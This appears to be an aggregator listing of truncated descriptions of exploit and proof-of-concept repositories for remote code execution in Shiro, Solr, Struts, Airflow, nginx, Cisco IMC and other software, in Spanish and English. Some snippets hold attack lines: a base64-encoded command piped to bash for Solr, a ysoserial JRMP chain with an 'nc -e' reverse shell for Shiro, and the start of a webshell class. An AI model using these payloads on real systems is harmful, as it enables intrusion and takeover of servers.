Shiro_Xray

ShiroXray Gadget CommonsBeanutils1 CommonsCollectionsK1 CommonsCollectionsK2 Getshell with Ice Scorpion import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.PrintWriter; import java.net.URLDecoder; import sun.misc.BASE64Decoder; public class 10837093162496 exten...

Hadoop-Yarn-ResourceManager-RCE

Impacto de la vulnerabilidad Había una vulnerabilidad de acceso no autorizado en Hadoop yarn ResourceManager. Esta vulnerabilidad existía en Hadoop yarn, el componente central de Hadoop. Debido a que Hadoop yarn abría el servicio RPC al público de forma predeterminada, un atacante remoto podía...

MAL-012

MAL-012: Cross-Site Scripting Reflejado en la Consola de Administración que conduce a Ejecución Remota de Código en Payara Server Se encontró un ataque de Cross-Site Scripting XSS reflejado en la Consola de Administración de Payara. Al convencer a un usuario administrador de que acceda a la URL...

MAL-011

MAL-011: La mala configuración de Log4J permite JavaScript malicioso en Red Hat AMQ El componente Log4J de la aplicación Redhat A-MQ está mal configurado, lo que permite la ejecución de atributos “Script” arbitrarios en la configuración de Log4J. Si un atacante encuentra una forma de modificar la...

MAL-001

MAL-001: FreeMarker Server-Side Template Injection in Liferay Portal An issue was discovered in Liferay - Portal =7.4.3.12-ga12. By inserting malicious content in the FTL Templates, an attacker may perform SSTI Server-Side Template Injection attacks, which can leverage FreeMarker exposed objects ...

CVE-2026-42533-POC

CVE-2026-42533 Desbordamiento de búfer en el heap y fuga de información del heap antes de la autenticación en nginx, causados por la falta de guardado/restauración del estado de las capturas de PCRE entre las dos pasadas del motor de scripts. Una variable map con regex evaluada entre dos...

CVE-2022-40127-Airflow-RCE

Apache Airflow Una vulnerabilidad en los DAGs de ejemplo de Apache Airflow permite que un atacante con acceso a la interfaz de usuario que pueda activar DAGs, ejecute comandos arbitrarios a través del parámetro runid proporcionado manualmente. Este problema afecta a Apache Airflow versiones...

CVE-2026-92820

The Ninja Forms - File Uploads plugin for WordPress is vulnerable to arbitrary file operations in all versions up to, and including, 3.3.34 via the external Amazon S3 upload flow. The plugin trusts an attacker-supplied file path from the form submission and stores it as the upload's filepath, whi...

CIMCown

CIMCown CVE-2026-20200 Inyección de argumentos en Cisco IMC con RCE Christoph Peil @ NSIDE ATTACK LOGIC 2026 CVE: CVE-2026-20200 CVSS v3.1 CISCO: 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS v3.1 NSIDE: 9.9 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Aviso: NSIDE-SA-2026-003 Entrada del blog:...

solr_rce

Apache Solr RCE a través de la plantilla Velocity uso de python: python solrrce.py http://x.x.x.x:8983 command payload codificado para getshell http://www.jackson-t.ca/runtime-exec-payloads.html whoami bash -c echo,d2hvYW1p|base64,-d|bash,-i 0x01 Introducción a Solr Solr es la plataforma de...

ThinkCMF_getshell

Vulnerabilidad de inclusión de contenido arbitrario en el framework ThinkCMFgetshell Los atacantes remotos pueden ejecutar código arbitrario en el servidor remoto mediante la construcción de paquetes de solicitud específicos, sin necesidad de ningún privilegio. Uso de python: + python...

SHIRO-721

Vulnerabilidad RCE de Padding Oracle en SHIRO-721 RememberMe 0x00 Introducción: El cookie rememberMe de la cookie está cifrado mediante el modo AES-128-CBC, lo que lo hace susceptible a ataques de oracle de relleno padding oracle. Un atacante puede utilizar un cookie RememberMe válido como prefij...

SHIRO-550

Vulnerabilidad de deserialización de Shiro RememberMe 1.2.4（SHIRO-550） commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e...

CVE-2026-33937

Esta publicación es un artículo de investigación publicado por EQSTLab. PoC de referencia: dinhvaren/cve-2026-33937 CVE-2026-33937 ★ CVE-2026-33937 PoC de inyección de AST y ejecución remota de código en Handlebars.js ★ https://github.com/user-attachments/assets/99e383e7-e71f-4e10-8c62-f50abff8b4...

st2-048

St2-048 Vulnerabilidad de ejecución remota de código Apache Struts 2 posible RCE en la aplicación Struts Showcase en el ejemplo del plugin Struts 1 en la serie Struts 2.3.x http://struts.apache.org/docs/s2-048.html https://cwiki.apache.org/confluence/display/WW/S2-048 Uso: python St2-048.py set u...

WSO2-2021-1259

WSO2-2021-1259: H2 RCE a través de cadena de conexión JDBC maliciosa en WSO2 ESB Debido a la validación de entrada incorrecta, un ataque de ejecución remota de código podría llevarse a cabo utilizando cadenas de conexión JDBC H2 maliciosas. Divulgación del proveedor: La divulgación y la correcció...

Unauthenticated-Remote-Code-Execution-RCE---Poultry-Farm-Management-System-v1.0

Título del Exploit: Ejecución Remota de Código RCE sin autenticación - Poultry Farm Management System v1.0 Fecha: 24-06-2024 CVE: CVE-2024-40110 EDB-ID: 52053 Autor del Exploit: Jerry Thomas w3bn00b3r Página del proveedor:...

RCE-RealEstateVIDEOPOC

This repository does not have a README...

poc-CVE-2026-23489

POC CVE-2026-23489 Prueba de concepto para el plugin "Fields" de GLPI CVE-2026-23489 --cookie-value COOKIEVALUE GLPI session cookie value --php PHP Raw PHP to execute on the server end statements with ';', Dropdowns...

MAL-005

MAL-005: Zip Slip in Add Carbon Applications in WSO2 ESB A ZIP file based directory traversal Zip Slip vulnerability was identified in the "Carbon Applications" add feature of WSO2 ESB. Remote code execution may be obtained by writing/overwriting specific files. Why no CVE? The vendor replied tha...